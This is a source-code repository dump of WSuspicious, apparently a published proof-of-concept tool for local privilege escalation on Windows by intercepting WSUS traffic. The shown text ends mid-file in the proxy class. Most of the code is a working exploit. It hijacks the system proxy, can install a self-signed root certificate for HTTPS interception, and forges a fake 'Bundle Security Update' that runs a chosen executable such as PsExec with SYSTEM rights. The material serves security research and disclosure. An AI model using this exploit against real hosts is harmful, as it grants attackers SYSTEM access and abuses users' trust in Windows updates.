├── .gitignore
├── LICENSE
├── README.md
├── WSuspicious.sln
├── WSuspicious
├── App.config
├── Program.cs
├── ResourceHandler.cs
├── Servers
│ ├── HttpServer.cs
│ └── Proxy
│ │ ├── WsusProxy.cs
│ │ └── tls
│ │ └── CertificateMaker.cs
├── Utility
│ ├── ArgumentsParser.cs
│ ├── InternetExplorerProxyManager.cs
│ └── WindowsUpdateLauncher.cs
└── WSuspicious.csproj
└── docs
└── privesc.gif
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 |
4 | # User-specific files
5 | *.suo
6 | *.user
7 | *.userosscache
8 | *.sln.docstates
9 |
10 | # User-specific files (MonoDevelop/Xamarin Studio)
11 | *.userprefs
12 |
13 | # Build results
14 | [Dd]ebug/
15 | [Dd]ebugPublic/
16 | [Rr]elease/
17 | [Rr]eleases/
18 | x64/
19 | x86/
20 | bld/
21 | [Bb]in/
22 | [Oo]bj/
23 | [Ll]og/
24 |
25 | # Visual Studio 2015 cache/options directory
26 | .vs/
27 | # Uncomment if you have tasks that create the project's static files in wwwroot
28 | #wwwroot/
29 |
30 | # MSTest test Results
31 | [Tt]est[Rr]esult*/
32 | [Bb]uild[Ll]og.*
33 |
34 | # NUNIT
35 | *.VisualState.xml
36 | TestResult.xml
37 |
38 | # Build Results of an ATL Project
39 | [Dd]ebugPS/
40 | [Rr]eleasePS/
41 | dlldata.c
42 |
43 | # DNX
44 | project.lock.json
45 | project.fragment.lock.json
46 | artifacts/
47 |
48 | *_i.c
49 | *_p.c
50 | *_i.h
51 | *.ilk
52 | *.meta
53 | *.obj
54 | *.pch
55 | *.pdb
56 | *.pgc
57 | *.pgd
58 | *.rsp
59 | *.sbr
60 | *.tlb
61 | *.tli
62 | *.tlh
63 | *.tmp
64 | *.tmp_proj
65 | *.log
66 | *.vspscc
67 | *.vssscc
68 | .builds
69 | *.pidb
70 | *.svclog
71 | *.scc
72 |
73 | # Chutzpah Test files
74 | _Chutzpah*
75 |
76 | # Visual C++ cache files
77 | ipch/
78 | *.aps
79 | *.ncb
80 | *.opendb
81 | *.opensdf
82 | *.sdf
83 | *.cachefile
84 | *.VC.db
85 | *.VC.VC.opendb
86 |
87 | # Visual Studio profiler
88 | *.psess
89 | *.vsp
90 | *.vspx
91 | *.sap
92 |
93 | # TFS 2012 Local Workspace
94 | $tf/
95 |
96 | # Guidance Automation Toolkit
97 | *.gpState
98 |
99 | # ReSharper is a .NET coding add-in
100 | _ReSharper*/
101 | *.[Rr]e[Ss]harper
102 | *.DotSettings.user
103 |
104 | # JustCode is a .NET coding add-in
105 | .JustCode
106 |
107 | # TeamCity is a build add-in
108 | _TeamCity*
109 |
110 | # DotCover is a Code Coverage Tool
111 | *.dotCover
112 |
113 | # NCrunch
114 | _NCrunch_*
115 | .*crunch*.local.xml
116 | nCrunchTemp_*
117 |
118 | # MightyMoose
119 | *.mm.*
120 | AutoTest.Net/
121 |
122 | # Web workbench (sass)
123 | .sass-cache/
124 |
125 | # Installshield output folder
126 | [Ee]xpress/
127 |
128 | # DocProject is a documentation generator add-in
129 | DocProject/buildhelp/
130 | DocProject/Help/*.HxT
131 | DocProject/Help/*.HxC
132 | DocProject/Help/*.hhc
133 | DocProject/Help/*.hhk
134 | DocProject/Help/*.hhp
135 | DocProject/Help/Html2
136 | DocProject/Help/html
137 |
138 | # Click-Once directory
139 | publish/
140 |
141 | # Publish Web Output
142 | *.[Pp]ublish.xml
143 | *.azurePubxml
144 | # TODO: Comment the next line if you want to checkin your web deploy settings
145 | # but database connection strings (with potential passwords) will be unencrypted
146 | #*.pubxml
147 | *.publishproj
148 |
149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
150 | # checkin your Azure Web App publish settings, but sensitive information contained
151 | # in these scripts will be unencrypted
152 | PublishScripts/
153 |
154 | # NuGet Packages
155 | *.nupkg
156 | # The packages folder can be ignored because of Package Restore
157 | **/packages/*
158 | # except build/, which is used as an MSBuild target.
159 | !**/packages/build/
160 | # Uncomment if necessary however generally it will be regenerated when needed
161 | #!**/packages/repositories.config
162 | # NuGet v3's project.json files produces more ignoreable files
163 | *.nuget.props
164 | *.nuget.targets
165 |
166 | # Microsoft Azure Build Output
167 | csx/
168 | *.build.csdef
169 |
170 | # Microsoft Azure Emulator
171 | ecf/
172 | rcf/
173 |
174 | # Windows Store app package directories and files
175 | AppPackages/
176 | BundleArtifacts/
177 | Package.StoreAssociation.xml
178 | _pkginfo.txt
179 |
180 | # Visual Studio cache files
181 | # files ending in .cache can be ignored
182 | *.[Cc]ache
183 | # but keep track of directories ending in .cache
184 | !*.[Cc]ache/
185 |
186 | # Others
187 | ClientBin/
188 | ~$*
189 | *~
190 | *.dbmdl
191 | *.dbproj.schemaview
192 | *.jfm
193 | *.pfx
194 | *.publishsettings
195 | node_modules/
196 | orleans.codegen.cs
197 |
198 | # Since there are multiple workflows, uncomment next line to ignore bower_components
199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
200 | #bower_components/
201 |
202 | # RIA/Silverlight projects
203 | Generated_Code/
204 |
205 | # Backup & report files from converting an old project file
206 | # to a newer Visual Studio version. Backup files are not needed,
207 | # because we have git ;-)
208 | _UpgradeReport_Files/
209 | Backup*/
210 | UpgradeLog*.XML
211 | UpgradeLog*.htm
212 |
213 | # SQL Server files
214 | *.mdf
215 | *.ldf
216 |
217 | # Business Intelligence projects
218 | *.rdl.data
219 | *.bim.layout
220 | *.bim_*.settings
221 |
222 | # Microsoft Fakes
223 | FakesAssemblies/
224 |
225 | # GhostDoc plugin setting file
226 | *.GhostDoc.xml
227 |
228 | # Node.js Tools for Visual Studio
229 | .ntvs_analysis.dat
230 |
231 | # Visual Studio 6 build log
232 | *.plg
233 |
234 | # Visual Studio 6 workspace options file
235 | *.opt
236 |
237 | # Visual Studio LightSwitch build output
238 | **/*.HTMLClient/GeneratedArtifacts
239 | **/*.DesktopClient/GeneratedArtifacts
240 | **/*.DesktopClient/ModelManifest.xml
241 | **/*.Server/GeneratedArtifacts
242 | **/*.Server/ModelManifest.xml
243 | _Pvt_Extensions
244 |
245 | # Paket dependency manager
246 | .paket/paket.exe
247 | paket-files/
248 |
249 | # FAKE - F# Make
250 | .fake/
251 |
252 | # JetBrains Rider
253 | .idea/
254 | *.sln.iml
255 |
256 | # CodeRush
257 | .cr/
258 |
259 | # Python Tools for Visual Studio (PTVS)
260 | __pycache__/
261 | *.pyc
262 |
263 | WSuspicious.exe
264 | WSuspicious.pdb
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 GoSecure
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # WSuspicious
2 |
3 | ## Summary
4 | This is a proof of concept program to escalate privileges on a Windows host by abusing WSUS.
5 | Details in this blog post: https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/
6 | It was inspired from the WSuspect proxy project: https://github.com/ctxis/wsuspect-proxy
7 |
8 | ## Acknowledgements
9 | Privilege escalation module written by Maxime Nadeau from GoSecure
10 |
11 | Huge thanks to:
12 | * Julien Pineault from GoSecure and Mathieu Novis from SecureOps for reviving the WSUS proxy attack
13 | * Romain Carnus from GoSecure for coming up with the HTTPS interception idea
14 | * Paul Stone and Alex Chapman from Context Information Security for writing and researching the original proxy PoC
15 |
16 | ## Usage
17 | The tool was tested on Windows 10 machines (10.0.17763 and 10.0.18363) in different domain environments.
18 |
19 | ```
20 | Usage: WSuspicious [OPTION]...
21 | Ex. WSuspicious.exe /command:"" - accepteula - s - d cmd / c """"echo 1 > C:\\wsuspicious.txt"""""" /autoinstall
22 |
23 | Creates a local proxy to intercept WSUS requests and try to escalate privileges.
24 | If launched without any arguments, the script will simply create the file C:\\wsuspicious.was.here
25 |
26 | /exe The full path to the executable to run
27 | Known payloads are bginfo and PsExec. (Default: .\PsExec64.exe)
28 | /command The command to execute (Default: -accepteula -s -d cmd /c ""echo 1 > C:\\wsuspicious.was.here"")
29 | /proxyport The port on which the proxy is started. (Default: 13337)
30 | /downloadport The port on which the web server hosting the payload is started. (Sometimes useful for older Windows versions)
31 | If not specified, the server will try to intercept the request to the legitimate server instead.
32 | /debug Increase the verbosity of the tool
33 | /autoinstall Start Windows updates automatically after the proxy is started.
34 | /enabletls Enable HTTPS interception. WARNING. NOT OPSEC SAFE.
35 | This will prompt the user to add the certificate to the trusted root.
36 | /help Display this help and exit
37 | ```
38 |
39 | ### Examples
40 | 
41 |
42 | ## Compilation
43 | The ILMerge dependency can be used to compile the application into a standalone .exe file.
44 | To compile and compile the application, simply use the following command:
45 | ```
46 | dotnet msbuild /t:Restore /t:Clean /t:Build /p:Configuration=Release /p:DebugSymbols=false /p:DebugType=None /t:ILMerge /p:TrimUnusedDependencies=true
47 |
--------------------------------------------------------------------------------
/WSuspicious.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28010.2050
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WSuspicious", "WSuspicious\WSuspicious.csproj", "{9501F208-FD68-469A-A77B-BB37314ECE33}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {9501F208-FD68-469A-A77B-BB37314ECE33}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {9501F208-FD68-469A-A77B-BB37314ECE33}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {9501F208-FD68-469A-A77B-BB37314ECE33}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {9501F208-FD68-469A-A77B-BB37314ECE33}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {62A5AFD6-B0A6-4929-BAAD-AC06E314F3F9}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/WSuspicious/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/WSuspicious/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Security.Cryptography.X509Certificates;
5 | using Microsoft.Win32;
6 | using WSuspicious.Servers;
7 | using WSuspicious.Servers.Proxy;
8 | using WSuspicious.Servers.Proxy.tls;
9 | using WSuspicious.Utility;
10 |
11 | namespace WSuspicious
12 | {
13 | class Program
14 | {
15 | public static int Main(string[] args)
16 | {
17 | Dictionary arguments = ArgumentsParser.parse(args);
18 | if (arguments.ContainsKey("/help"))
19 | {
20 | PrintHelp();
21 | return 0;
22 | }
23 |
24 | string wsusConfig = (string)Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\", "WUServer", null);
25 |
26 | string wsusHost = null;
27 | if (wsusConfig != null)
28 | {
29 | Uri wsusURI = new Uri(wsusConfig);
30 | wsusHost = wsusURI.Host;
31 |
32 | X509Certificate2 cert = null;
33 | if (wsusURI.Scheme == "https" && arguments.ContainsKey("/enabletls"))
34 | {
35 | Console.WriteLine("The WSUS Server is using HTTPS. Adding a self-signed certificate to store");
36 | cert = CertificateMaker.MakeCertificate(wsusHost);
37 | Console.WriteLine("Prompting user to add the certificate. Please wait.");
38 | CertificateMaker.AddToTrustStore(cert);
39 | }
40 | else if (wsusURI.Scheme == "https")
41 | {
42 | Console.WriteLine("The WSUS Server is using HTTPS and we are not configured to accept TLS connections.");
43 | Console.WriteLine("Exiting now.");
44 | return 0;
45 | }
46 |
47 | Console.WriteLine(String.Format("Detected WSUS Server - {0}", wsusHost));
48 |
49 | byte[] payloadFile = File.ReadAllBytes(arguments["/exe"]);
50 |
51 | HttpServer serv = null;
52 | if (arguments.ContainsKey("/downloadport"))
53 | {
54 | // We are configured to deliver the payload via a self-hosted server. Lets start it
55 | serv = new HttpServer(int.Parse(arguments["/downloadport"]), payloadFile);
56 | serv.Start();
57 | }
58 |
59 | using (WsusProxy proxy = new WsusProxy(wsusHost, payloadFile, Path.GetFileName(arguments["/exe"]), arguments["/command"], arguments.ContainsKey("/debug"), (arguments.ContainsKey("/downloadport") ? String.Format("localhost:{0}", arguments["/downloadport"]) : null), cert))
60 | {
61 | proxy.Start(int.Parse(arguments["/proxyport"]));
62 |
63 | Console.WriteLine("Hit any key to exit..");
64 |
65 | if (arguments.ContainsKey("/autoinstall"))
66 | {
67 | WindowsUpdateLauncher.StartUpdates();
68 | }
69 |
70 | Console.WriteLine();
71 | Console.Read();
72 | }
73 |
74 | // We advice people to cleanup the cert that we added into the store
75 | if (wsusURI.Scheme == "https" && arguments.ContainsKey("/enabletls"))
76 | {
77 | Console.WriteLine("Consider removing the self-signed certificate from the store (Warning: it will prompt the user again).");
78 | }
79 |
80 | // We cleanup the payload delivery server just in case (if any)
81 | if (serv != null)
82 | {
83 | serv.Stop();
84 | }
85 | }
86 | else
87 | {
88 | Console.WriteLine("No WSUS Server detected.");
89 | Console.WriteLine("Stopping now.");
90 | }
91 | return 0;
92 | }
93 |
94 | public static void PrintHelp()
95 | {
96 | Console.WriteLine(@"
97 | Usage: WSuspicious [OPTION]...
98 | Ex. WSuspicious.exe /command:"" - accepteula - s - d cmd / c """"echo 1 > C:\\wsuspicious.txt"""""" /autoinstall
99 | Creates a local proxy to intercept WSUS requests and try to escalate privileges.
100 | If launched without any arguments, the script will simply create the file C:\\wsuspicious.was.here
101 |
102 | /exe The full path to the executable to run
103 | Known payloads are bginfo and PsExec. (Default: .\PsExec64.exe)
104 | /command The command to execute (Default: -accepteula -s -d cmd /c ""echo 1 > C:\\wsuspicious.was.here"")
105 | /proxyport The port on which the proxy is started. (Default: 13337)
106 | /downloadport The port on which the web server hosting the payload is started. (Sometimes useful for older Windows versions)
107 | If not specified, the server will try to intercept the request to the legitimate server instead.
108 | /debug Increase the verbosity of the tool
109 | /autoinstall Start Windows updates automatically after the proxy is started.
110 | /enabletls Enable HTTPS interception. WARNING. NOT OPSEC SAFE.
111 | This will prompt the user to add the certificate to the trusted root.
112 | /help Display this help and exit
113 | ");
114 | }
115 | }
116 | }
117 |
--------------------------------------------------------------------------------
/WSuspicious/ResourceHandler.cs:
--------------------------------------------------------------------------------
1 | namespace WSuspicious
2 | {
3 | public static class ResourceHandler
4 | {
5 | public static readonly string NewUpdatesTemplate = @"
6 |
7 |
8 | {0}
9 |
10 | {1}
11 | Install
12 | true
13 | 2020-02-29
14 | 0
15 | 0
16 | 0
17 |
18 | true
19 | <UpdateIdentity UpdateID=""{2}"" RevisionNumber=""204"" /><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""{3}"" RevisionNumber=""204"" /></BundledUpdates></Relationships>
20 |
21 |
22 | {4}
23 |
24 | {5}
25 | Bundle
26 | true
27 | 2020-02-29
28 | 0
29 | 0
30 | 0
31 |
32 | true
33 | <UpdateIdentity UpdateID=""{6}"" RevisionNumber=""204"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>
34 |
35 |
36 | ";
37 |
38 | public static readonly string ExtendedUpdateInfoTemplate = @"
39 |
40 |
41 |
42 |
43 |
44 |
45 | {0}
46 | <ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""{1}"" MinDownloadSize=""{2}""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""{3}"" DigestAlgorithm=""SHA1"" FileName=""{4}"" Size=""{5}"" Modified=""2010-11-25T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">{6}</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""{7}"" Program=""{8}"" RebootByDefault=""false"" DefaultResult=""Succeeded""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""-1"" /></InstallCommand></HandlerSpecificData>
47 |
48 |
49 | {9}
50 | <ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""Important"" IsBeta=""false""><SupportUrl>https://gosecure.net</SupportUrl><SecurityBulletinID>MS42-007</SecurityBulletinID><KBArticleID>2862335</KBArticleID></ExtendedProperties>
51 |
52 |
53 | {10}
54 | <LocalizedProperties><Language>en</Language><Title>Bundle Security Update for * Windows (from KB2862335)</Title><Description>A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article. After you install this update, you may have to restart your system.</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>https://gosecure.net</MoreInfoUrl><SupportUrl>https://gosecure.net</SupportUrl></LocalizedProperties>
55 |
56 |
57 | {11}
58 | <LocalizedProperties><Language>en</Language><Title>Probably-legal-update</Title></LocalizedProperties>
59 |
60 |
61 |
62 |
63 | {12}
64 | {13}
65 |
66 |
67 |
68 |
69 |
70 |
71 | ";
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/WSuspicious/Servers/HttpServer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 | using System.Text;
4 |
5 | namespace WSuspicious.Servers
6 | {
7 | class HttpServer
8 | {
9 | public HttpListener listener;
10 | public byte[] fileData;
11 |
12 | public HttpServer(int port, byte[] payload)
13 | {
14 | listener = new HttpListener();
15 | listener.Prefixes.Add(String.Format("http://127.0.0.1:{0}/", port));
16 |
17 | Console.WriteLine(String.Format("Starting Payload delivery server on http://127.0.0.1:{0}/", port));
18 |
19 | fileData = payload;
20 | }
21 |
22 | public async void Start()
23 | {
24 | bool runServer = true;
25 | listener.Start();
26 |
27 | // While a user hasn't visited the `shutdown` url, keep on handling requests
28 | while (runServer)
29 | {
30 | // Will wait here until we hear from a connection
31 | HttpListenerContext ctx = await listener.GetContextAsync();
32 |
33 | // Peel out the requests and response objects
34 | HttpListenerRequest req = ctx.Request;
35 | HttpListenerResponse resp = ctx.Response;
36 |
37 | resp.ContentType = "application/octet-stream";
38 | resp.ContentEncoding = Encoding.UTF8;
39 | resp.ContentLength64 = fileData.Length;
40 |
41 | // Write out to the response stream (asynchronously), then close it
42 | await resp.OutputStream.WriteAsync(fileData, 0, fileData.Length);
43 | resp.Close();
44 | }
45 | }
46 |
47 | public void Stop ()
48 | {
49 | listener.Close();
50 | }
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/WSuspicious/Servers/Proxy/WsusProxy.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Net;
6 | using System.Security.Cryptography;
7 | using System.Security.Cryptography.X509Certificates;
8 | using System.Threading;
9 | using System.Threading.Tasks;
10 | using System.Xml.Linq;
11 | using Titanium.Web.Proxy;
12 | using Titanium.Web.Proxy.EventArguments;
13 | using Titanium.Web.Proxy.Exceptions;
14 | using Titanium.Web.Proxy.Models;
15 | using WSuspicious.Utility;
16 |
17 | namespace WSuspicious.Servers.Proxy
18 | {
19 | class WsusProxy : IDisposable
20 | {
21 | private readonly SemaphoreSlim @lock = new SemaphoreSlim(1);
22 | private readonly ProxyServer proxyServer;
23 | private ExplicitProxyEndPoint explicitEndPoint;
24 | private InternetExplorerProxyManager proxyManager;
25 |
26 | private short flagStep = 0;
27 |
28 | private readonly byte[] payload;
29 | private readonly string payloadSHA1;
30 | private readonly string payloadSHA256;
31 | private readonly string payloadExecutableName;
32 |
33 | private readonly int updateID1;
34 | private readonly int updateID2;
35 | private readonly int deploymentID1;
36 | private readonly int deploymentID2;
37 | private readonly string uuid1;
38 | private readonly string uuid2;
39 |
40 | private readonly bool isDebug;
41 | private readonly string wsusHost;
42 |
43 | private readonly string fakeWSUSHost;
44 |
45 | private readonly string executedCommand;
46 |
47 | private readonly X509Certificate2 genericCert;
48 |
49 | public WsusProxy(string wsusHost, byte[] payload, string payloadExecutableName, string executedCommand) : this(wsusHost, payload, payloadExecutableName, executedCommand, false) { }
50 |
51 | public WsusProxy(string wsusHost, byte[] payload, string payloadExecutableName, string executedCommand, bool debug) : this(wsusHost, payload, payloadExecutableName, executedCommand, debug, null, null) { }
52 |
53 | public WsusProxy(string wsusHost, byte[] payload, string payloadExecutableName, string executedCommand, bool debug, string fakeWSUSHost, X509Certificate2 cert)
54 | {
55 | this.isDebug = debug;
56 | this.wsusHost = wsusHost;
57 | this.payload = payload;
58 | this.payloadExecutableName = payloadExecutableName;
59 | this.executedCommand = WebUtility.HtmlEncode(WebUtility.HtmlEncode(executedCommand));
60 |
61 | this.fakeWSUSHost = fakeWSUSHost;
62 |
63 | using (var cryptoProvider = new SHA1CryptoServiceProvider())
64 | {
65 | this.payloadSHA1 = Convert.ToBase64String(cryptoProvider.ComputeHash(payload));
66 | }
67 |
68 | using (var cryptoProvider = new SHA256CryptoServiceProvider())
69 | {
70 | this.payloadSHA256 = Convert.ToBase64String(cryptoProvider.ComputeHash(payload));
71 | }
72 |
73 | // Generate our update IDs
74 | Random rnd = new Random();
75 | this.updateID1 = rnd.Next(900000, 999999);
76 | this.updateID2 = rnd.Next(900000, 999999);
77 | this.deploymentID1 = rnd.Next(80000, 99999);
78 | this.deploymentID2 = rnd.Next(80000, 99999);
79 | this.uuid1 = Guid.NewGuid().ToString();
80 | this.uuid2 = Guid.NewGuid().ToString();
81 | this.genericCert = cert;
82 |
83 | // Setup the proxy
84 | proxyServer = new ProxyServer(false, false, false);
85 |
86 | // Silent all exceptions and ensure we never crash and cause DoS
87 | proxyServer.ExceptionFunc = async exception =>
88 | {
89 | if (exception is ProxyHttpException phex)
90 | {
91 | await writeToConsole(exception.Message + ": " + phex.InnerException?.Message, ConsoleColor.Red);
92 | }
93 | else
94 | {
95 | await writeToConsole(exception.ToString(), ConsoleColor.Red);
96 | }
97 | };
98 |
99 | proxyServer.ReuseSocket = false;
100 | proxyServer.EnableConnectionPool = false;
101 |
102 | //TODO: Make proxy aware
103 | proxyServer.ForwardToUpstreamGateway = false;
104 |
105 | proxyManager = new InternetExplorerProxyManager();
106 | }
107 |
108 | public void Start(int listenPort)
109 | {
110 | proxyServer.BeforeRequest += onRequest;
111 | proxyServer.BeforeResponse += onResponse;
112 |
113 | //proxyServer.EnableWinAuth = true;
114 |
115 | explicitEndPoint = new ExplicitProxyEndPoint(IPAddress.Loopback, listenPort);
116 |
117 | // Fired when a CONNECT request is received
118 | explicitEndPoint.BeforeTunnelConnectRequest += onBeforeTunnelConnectRequest;
119 |
120 | if (this.genericCert != null)
121 | {
122 | explicitEndPoint.GenericCertificate = genericCert;
123 | }
124 |
125 | // An explicit endpoint is where the client knows about the existence of a proxy
126 | // So client sends request in a proxy friendly manner
127 | proxyServer.AddEndPoint(explicitEndPoint);
128 | proxyServer.Start();
129 |
130 | foreach (var endPoint in proxyServer.ProxyEndPoints)
131 | {
132 | Console.WriteLine("Listening on '{0}' endpoint at Ip {1} and port: {2} ", endPoint.GetType().Name,
133 | endPoint.IpAddress, endPoint.Port);
134 | }
135 |
136 | // Set us as the new proxy
137 | proxyManager.setProxy("127.0.0.1", listenPort, (this.genericCert != null));
138 | }
139 |
140 | public void Stop()
141 | {
142 | explicitEndPoint.BeforeTunnelConnectRequest -= onBeforeTunnelConnectRequest;
143 |
144 | proxyServer.BeforeRequest -= onRequest;
145 | proxyServer.BeforeResponse -= onResponse;
146 |
147 | proxyServer.Stop();
148 |
149 | proxyManager.revert();
150 | }
151 |
152 | public void Dispose()
153 | {
154 | Stop();
155 | }
156 |
157 | private async Task onBeforeTunnelConnectRequest(object sender, TunnelConnectSessionEventArgs e)
158 | {
159 | string hostname = e.HttpClient.Request.RequestUri.Host;
160 | await writeDebugToConsole("Tunnel to: " + hostname);
161 |
162 | var clientLocalIp = e.ClientLocalEndPoint.Address;
163 | if (!clientLocalIp.Equals(IPAddress.Loopback) && !clientLocalIp.Equals(IPAddress.IPv6Loopback))
164 | {
165 | e.HttpClient.UpStreamEndPoint = new IPEndPoint(clientLocalIp, 0);
166 | }
167 |
168 | // We want to intercept TLS requests if they are going to the WSUS server
169 | if (!hostname.Contains(wsusHost) || this.genericCert == null)
170 | {
171 | e.DecryptSsl = false;
172 | }
173 | else
174 | {
175 | e.DecryptSsl = true;
176 | }
177 | }
178 |
179 | // intercept & cancel redirect or update requests
180 | private async Task onRequest(object sender, SessionEventArgs e)
181 | {
182 | var clientLocalIp = e.ClientLocalEndPoint.Address;
183 | if (!clientLocalIp.Equals(IPAddress.Loopback) && !clientLocalIp.Equals(IPAddress.IPv6Loopback))
184 | {
185 | e.HttpClient.UpStreamEndPoint = new IPEndPoint(clientLocalIp, 0);
186 | }
187 |
188 | string hostname = e.HttpClient.Request.RequestUri.Host;
189 |
190 | await writeDebugToConsole("Active Client Connections:" + ((ProxyServer)sender).ClientConnectionCount);
191 | await writeDebugToConsole(String.Format("{0} {1}", e.HttpClient.Request.Method, e.HttpClient.Request.Url));
192 |
193 | // We inject into the WSUS dance
194 | if (hostname.Contains(wsusHost))
195 | {
196 | if (e.HttpClient.Request.HasBody)
197 | {
198 | string requestBody = await e.GetRequestBodyAsString();
199 |
200 | if (requestBody.Contains("") && !requestBody.Contains(""))
201 | {
202 | await writeToConsole("---- Got request for stage 1 ----");
203 | flagStep = 1;
204 | }
205 | else if (requestBody.Contains(""))
206 | {
207 | await writeToConsole("---- Got request for stage 2 ----");
208 | flagStep = 2;
209 | }
210 |
211 | await writeDebugToConsole("");
212 | await writeDebugToConsole("========================================================");
213 | await writeDebugToConsole(" REQUEST ");
214 | await writeDebugToConsole("========================================================");
215 | await writeDebugToConsole(requestBody);
216 | }
217 | else if (e.HttpClient.Request.RequestUri.AbsoluteUri.Contains(".exe"))
218 | {
219 | // return file
220 | e.Ok(payload);
221 | await writeToConsole("---- The payload is on the way. ----");
222 | await writeToConsole("---- All done. ----");
223 | }
224 | }
225 | }
226 |
227 | private async Task onResponse(object sender, SessionEventArgs e)
228 | {
229 | await writeDebugToConsole("Active Server Connections:" + ((ProxyServer)sender).ServerConnectionCount);
230 |
231 | string hostname = e.HttpClient.Request.RequestUri.Host;
232 | if (hostname.Contains(wsusHost))
233 | {
234 | byte[] bodyBytes = await e.GetResponseBody();
235 |
236 | if (bodyBytes.Length > 0)
237 | {
238 | if (flagStep == 1)
239 | {
240 | using (Stream stream = new MemoryStream(bodyBytes))
241 | {
242 | XDocument doc = XDocument.Load(stream);
243 |
244 | var syncUpdatesResult = from p in doc.Descendants()
245 | where p.Name.LocalName == "SyncUpdatesResult"
246 | select p;
247 |
248 | if (syncUpdatesResult.Count() > 0 && e.HttpClient.Response.StatusCode == (int)HttpStatusCode.OK)
249 | {
250 | var ns = syncUpdatesResult.First().GetDefaultNamespace();
251 |
252 | string newUpdatesTemplate = ResourceHandler.NewUpdatesTemplate.Trim();
253 | newUpdatesTemplate = String.Format(newUpdatesTemplate, updateID1, deploymentID1, uuid1, uuid2, updateID2, deploymentID2, uuid2);
254 |
255 | // If there are real Update or OutOfScopeRevisionIDs tags, delete the node
256 | doc.Descendants(ns + "NewUpdates").Remove();
257 | doc.Descendants(ns + "ChangedUpdates").Remove();
258 | doc.Descendants(ns + "OutOfScopeRevisionIDs").Remove();
259 |
260 | XElement importedNewUpdatesNode = XElement.Parse(newUpdatesTemplate);
261 | doc.Descendants(ns + "SyncUpdatesResult").FirstOrDefault().AddFirst(importedNewUpdatesNode);
262 |
263 | // Small hack to handle the namespace during the XML merges above
264 | string returnedBody = doc.ToString(SaveOptions.DisableFormatting).Replace("", "");
265 |
266 | e.SetResponseBodyString(returnedBody);
267 |
